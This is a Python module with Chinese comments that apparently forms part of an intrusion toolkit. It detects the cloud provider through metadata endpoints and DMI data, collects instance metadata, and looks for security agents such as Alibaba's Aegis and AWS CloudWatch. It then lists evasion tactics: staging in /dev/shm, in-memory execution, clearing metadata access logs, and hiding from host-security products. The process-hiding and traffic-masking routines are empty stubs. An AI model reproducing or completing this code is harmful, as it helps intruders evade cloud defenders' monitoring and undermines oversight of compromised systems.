#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
云环境检测与适配模块
支持AWS EC2、阿里云ECS、腾讯云CVM等主流云服务商环境检测
"""

import os
import sys
import json
import time
import socket
import subprocess
from urllib.request import urlopen, Request
from urllib.error import URLError, HTTPError
import urllib.parse

class CloudEnvironmentDetector:
    """云环境检测器"""
    
    def __init__(self):
        self.cloud_metadata_endpoints = {
            'aws': 'http://169.254.169.254/latest/meta-data/',
            'aliyun': 'http://100.100.100.200/latest/meta-data/',
            'tencent': 'http://metadata.tencentcloudapi.com/latest/meta-data/',
            'azure': 'http://169.254.169.254/metadata/instance?api-version=2021-02-01',
            'gcp': 'http://metadata.google.internal/computeMetadata/v1/',
            'huawei': 'http://169.254.169.254/openstack/latest/meta_data.json'
        }
        
        self.cloud_agents = {
            'aws': ['amazon-cloudwatch-agent', 'awslogs', 'amazon-ssm-agent'],
            'aliyun': ['aliyun-service', 'aegis', 'assist_daemon'],
            'tencent': ['tat_agent', 'sgagent', 'barad_agent'],
            'azure': ['walinuxagent', 'omiagent', 'omsagent'],
            'gcp': ['google-cloud-ops-agent', 'stackdriver-agent'],
            'huawei': ['telescope', 'hostguard']
        }
        
        self.detected_cloud = None
        self.cloud_metadata = {}
        self.running_agents = []
    
    def detect_cloud_environment(self):
        """检测云环境类型"""
        print("[*] 开始检测云环境...")
        
        # 检测DMI信息
        dmi_info = self._check_dmi_info()
        if dmi_info:
            print(f"[+] DMI检测结果: {dmi_info}")
        
        # 检测元数据服务
        for cloud_name, endpoint in self.cloud_metadata_endpoints.items():
            if self._test_metadata_endpoint(cloud_name, endpoint):
                self.detected_cloud = cloud_name
                print(f"[+] 检测到云环境: {cloud_name.upper()}")
                break
        
        if not self.detected_cloud:
            print("[-] 未检测到云环境")
            return None
        
        # 获取详细元数据
        self._fetch_cloud_metadata()
        
        # 检测云厂商Agent
        self._detect_cloud_agents()
        
        return self.detected_cloud
    
    def _check_dmi_info(self):
        """检查DMI信息识别云厂商"""
        try:
            # 检查系统制造商信息
            with open('/sys/class/dmi/id/sys_vendor', 'r') as f:
                vendor = f.read().strip().lower()
            
            cloud_vendors = {
                'amazon': 'aws',
                'alibaba': 'aliyun',
                'tencent': 'tencent',
                'microsoft': 'azure',
                'google': 'gcp',
                'huawei': 'huawei'
            }
            
            for vendor_key, cloud_name in cloud_vendors.items():
                if vendor_key in vendor:
                    return cloud_name
                    
        except (IOError, OSError):
            pass
        
        return None
    
    def _test_metadata_endpoint(self, cloud_name, endpoint):
        """测试元数据端点可达性"""
        try:
            if cloud_name == 'azure':
                req = Request(endpoint)
                req.add_header('Metadata', 'true')
            elif cloud_name == 'gcp':
                req = Request(endpoint)
                req.add_header('Metadata-Flavor', 'Google')
            else:
                req = Request(endpoint)
            
            response = urlopen(req, timeout=3)
            return response.getcode() == 200
            
        except (URLError, HTTPError, socket.timeout):
            return False
    
    def _fetch_cloud_metadata(self):
        """获取云环境元数据"""
        if not self.detected_cloud:
            return
        
        print(f"[*] 获取{self.detected_cloud.upper()}元数据...")
        
        try:
            if self.detected_cloud == 'aws':
                self._fetch_aws_metadata()
            elif self.detected_cloud == 'aliyun':
                self._fetch_aliyun_metadata()
            elif self.detected_cloud == 'tencent':
                self._fetch_tencent_metadata()
            elif self.detected_cloud == 'azure':
                self._fetch_azure_metadata()
            elif self.detected_cloud == 'gcp':
                self._fetch_gcp_metadata()
            elif self.detected_cloud == 'huawei':
                self._fetch_huawei_metadata()
                
        except Exception as e:
            print(f"[!] 获取元数据失败: {e}")
    
    def _fetch_aws_metadata(self):
        """获取AWS元数据"""
        base_url = self.cloud_metadata_endpoints['aws']
        
        metadata_keys = [
            'instance-id', 'instance-type', 'local-ipv4', 'public-ipv4',
            'placement/availability-zone', 'placement/region', 'ami-id'
        ]
        
        for key in metadata_keys:
            try:
                response = urlopen(f"{base_url}{key}", timeout=3)
                self.cloud_metadata[key.replace('/', '_')] = response.read().decode('utf-8')
            except:
                continue
    
    def _fetch_aliyun_metadata(self):
        """获取阿里云元数据"""
        base_url = self.cloud_metadata_endpoints['aliyun']
        
        metadata_keys = [
            'instance-id', 'instance/instance-type', 'private-ipv4',
            'eipv4', 'zone-id', 'region-id', 'image-id'
        ]
        
        for key in metadata_keys:
            try:
                response = urlopen(f"{base_url}{key}", timeout=3)
                self.cloud_metadata[key.replace('/', '_')] = response.read().decode('utf-8')
            except:
                continue
    
    def _fetch_tencent_metadata(self):
        """获取腾讯云元数据"""
        base_url = self.cloud_metadata_endpoints['tencent']
        
        metadata_keys = [
            'instance-id', 'instance-type', 'local-ipv4', 'public-ipv4',
            'placement/zone', 'placement/region', 'image-id'
        ]
        
        for key in metadata_keys:
            try:
                response = urlopen(f"{base_url}{key}", timeout=3)
                self.cloud_metadata[key.replace('/', '_')] = response.read().decode('utf-8')
            except:
                continue
    
    def _fetch_azure_metadata(self):
        """获取Azure元数据"""
        endpoint = self.cloud_metadata_endpoints['azure']
        
        try:
            req = Request(endpoint)
            req.add_header('Metadata', 'true')
            response = urlopen(req, timeout=3)
            data = json.loads(response.read().decode('utf-8'))
            
            compute = data.get('compute', {})
            self.cloud_metadata = {
                'instance_id': compute.get('vmId'),
                'instance_type': compute.get('vmSize'),
                'location': compute.get('location'),
                'resource_group': compute.get('resourceGroupName'),
                'subscription_id': compute.get('subscriptionId')
            }
        except:
            pass
    
    def _fetch_gcp_metadata(self):
        """获取GCP元数据"""
        base_url = self.cloud_metadata_endpoints['gcp']
        
        metadata_keys = [
            'instance/id', 'instance/machine-type', 'instance/zone',
            'project/project-id', 'instance/network-interfaces/0/ip'
        ]
        
        for key in metadata_keys:
            try:
                req = Request(f"{base_url}{key}")
                req.add_header('Metadata-Flavor', 'Google')
                response = urlopen(req, timeout=3)
                self.cloud_metadata[key.replace('/', '_')] = response.read().decode('utf-8')
            except:
                continue
    
    def _fetch_huawei_metadata(self):
        """获取华为云元数据"""
        endpoint = self.cloud_metadata_endpoints['huawei']
        
        try:
            response = urlopen(endpoint, timeout=3)
            data = json.loads(response.read().decode('utf-8'))
            
            self.cloud_metadata = {
                'instance_id': data.get('uuid'),
                'instance_type': data.get('meta', {}).get('flavor'),
                'availability_zone': data.get('availability_zone'),
                'project_id': data.get('project_id'),
                'local_ipv4': data.get('local-ipv4')
            }
        except:
            pass
    
    def _detect_cloud_agents(self):
        """检测云厂商监控Agent"""
        if not self.detected_cloud:
            return
        
        print(f"[*] 检测{self.detected_cloud.upper()}监控Agent...")
        
        agents = self.cloud_agents.get(self.detected_cloud, [])
        
        for agent in agents:
            if self._is_process_running(agent):
                self.running_agents.append(agent)
                print(f"[!] 检测到运行中的Agent: {agent}")
        
        if not self.running_agents:
            print("[+] 未检测到云厂商监控Agent")
    
    def _is_process_running(self, process_name):
        """检查进程是否运行"""
        try:
            result = subprocess.run(['pgrep', '-f', process_name], 
                                  capture_output=True, text=True)
            return result.returncode == 0
        except:
            return False
    
    def get_evasion_recommendations(self):
        """获取规避建议"""
        if not self.detected_cloud:
            return []
        
        recommendations = []
        
        # 通用云环境规避建议
        recommendations.extend([
            "使用/dev/shm临时存储替代磁盘文件",
            "避免在云厂商监控路径下创建文件",
            "使用内存执行技术减少文件落地",
            "定期清理云实例元数据访问日志"
        ])
        
        # 针对特定云厂商的建议
        if self.detected_cloud == 'aws':
            recommendations.extend([
                "规避CloudWatch Agent监控路径",
                "避免触发AWS Config规则",
                "注意VPC Flow Logs记录"
            ])
        elif self.detected_cloud == 'aliyun':
            recommendations.extend([
                "规避安骑士(Aegis)检测",
                "避免触发云安全中心告警",
                "注意SLS日志服务记录"
            ])
        elif self.detected_cloud == 'tencent':
            recommendations.extend([
                "规避主机安全(CWP)检测",
                "避免触发云监控告警",
                "注意CLS日志服务记录"
            ])
        
        # 针对检测到的Agent的建议
        for agent in self.running_agents:
            recommendations.append(f"规避{agent}监控进程的检测路径")
        
        return recommendations
    
    def get_cloud_storage_paths(self):
        """获取云环境推荐存储路径"""
        paths = {
            'temp_storage': '/dev/shm',  # 内存临时存储
            'log_paths': ['/tmp', '/var/tmp'],  # 临时日志路径
            'avoid_paths': []  # 需要避免的路径
        }
        
        if self.detected_cloud == 'aws':
            paths['avoid_paths'].extend([
                '/opt/aws',
                '/var/log/amazon',
                '/etc/amazon'
            ])
        elif self.detected_cloud == 'aliyun':
            paths['avoid_paths'].extend([
                '/usr/local/aegis',
                '/var/log/aegis',
                '/etc/init.d/aegis'
            ])
        elif self.detected_cloud == 'tencent':
            paths['avoid_paths'].extend([
                '/usr/local/qcloud',
                '/var/log/qcloud',
                '/etc/qcloud'
            ])
        
        return paths
    
    def generate_cloud_report(self):
        """生成云环境检测报告"""
        report = {
            'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
            'cloud_provider': self.detected_cloud,
            'metadata': self.cloud_metadata,
            'running_agents': self.running_agents,
            'evasion_recommendations': self.get_evasion_recommendations(),
            'storage_paths': self.get_cloud_storage_paths()
        }
        
        return report
    
    def print_detection_summary(self):
        """打印检测摘要"""
        print("\n" + "="*60)
        print("云环境检测报告")
        print("="*60)
        
        if self.detected_cloud:
            print(f"[+] 云服务商: {self.detected_cloud.upper()}")
            
            if self.cloud_metadata:
                print(f"[+] 实例信息:")
                for key, value in self.cloud_metadata.items():
                    print(f"    {key}: {value}")
            
            if self.running_agents:
                print(f"[!] 检测到监控Agent: {', '.join(self.running_agents)}")
            else:
                print(f"[+] 未检测到监控Agent")
            
            print(f"[*] 规避建议:")
            for rec in self.get_evasion_recommendations():
                print(f"    - {rec}")
        else:
            print("[-] 未检测到云环境")
        
        print("="*60)


class CloudEvasionManager:
    """云环境规避管理器"""
    
    def __init__(self, cloud_detector):
        self.detector = cloud_detector
        self.evasion_strategies = {}
    
    def setup_cloud_evasion(self):
        """设置云环境规避策略"""
        if not self.detector.detected_cloud:
            print("[-] 未检测到云环境，跳过云规避设置")
            return False
        
        print(f"[*] 为{self.detector.detected_cloud.upper()}环境设置规避策略...")
        
        # 设置临时存储
        self._setup_temp_storage()
        
        # 配置进程隐藏
        self._setup_process_hiding()
        
        # 设置网络规避
        self._setup_network_evasion()
        
        return True
    
    def _setup_temp_storage(self):
        """设置临时存储"""
        temp_path = '/dev/shm/.' + str(int(time.time()))
        
        try:
            os.makedirs(temp_path, exist_ok=True)
            self.evasion_strategies['temp_storage'] = temp_path
            print(f"[+] 临时存储路径: {temp_path}")
        except Exception as e:
            print(f"[!] 设置临时存储失败: {e}")
    
    def _setup_process_hiding(self):
        """设置进程隐藏"""
        # 针对不同云厂商的进程隐藏策略
        if self.detector.detected_cloud == 'aws':
            self._hide_from_cloudwatch()
        elif self.detector.detected_cloud == 'aliyun':
            self._hide_from_aegis()
        elif self.detector.detected_cloud == 'tencent':
            self._hide_from_cwp()
    
    def _hide_from_cloudwatch(self):
        """规避CloudWatch监控"""
        print("[*] 设置CloudWatch规避策略...")
        # 实现CloudWatch规避逻辑
        pass
    
    def _hide_from_aegis(self):
        """规避阿里云安骑士"""
        print("[*] 设置安骑士规避策略...")
        # 实现安骑士规避逻辑
        pass
    
    def _hide_from_cwp(self):
        """规避腾讯云主机安全"""
        print("[*] 设置主机安全规避策略...")
        # 实现主机安全规避逻辑
        pass
    
    def _setup_network_evasion(self):
        """设置网络规避"""
        print("[*] 设置网络流量规避策略...")
        
        # 获取云环境网络配置
        network_config = self._get_cloud_network_config()
        
        # 设置流量伪装
        self._setup_traffic_masking(network_config)
    
    def _get_cloud_network_config(self):
        """获取云环境网络配置"""
        config = {}
        
        if self.detector.cloud_metadata:
            config['local_ip'] = self.detector.cloud_metadata.get('local_ipv4')
            config['public_ip'] = self.detector.cloud_metadata.get('public_ipv4')
        
        return config
    
    def _setup_traffic_masking(self, network_config):
        """设置流量伪装"""
        print("[*] 配置流量伪装...")
        # 实现流量伪装逻辑
        pass


def main():
    """主函数"""
    print("云环境检测与适配模块")
    print("="*50)
    
    # 创建检测器
    detector = CloudEnvironmentDetector()
    
    # 检测云环境
    cloud_type = detector.detect_cloud_environment()
    
    # 打印检测结果
    detector.print_detection_summary()
    
    if cloud_type:
        # 生成报告
        report = detector.generate_cloud_report()
        
        # 保存报告
        report_file = f"cloud_detection_report_{cloud_type}.json"
        with open(report_file, 'w', encoding='utf-8') as f:
            json.dump(report, f, ensure_ascii=False, indent=2)
        print(f"\n[+] 检测报告已保存: {report_file}")
        
        # 设置规避策略
        evasion_manager = CloudEvasionManager(detector)
        evasion_manager.setup_cloud_evasion()


if __name__ == "__main__":
    main()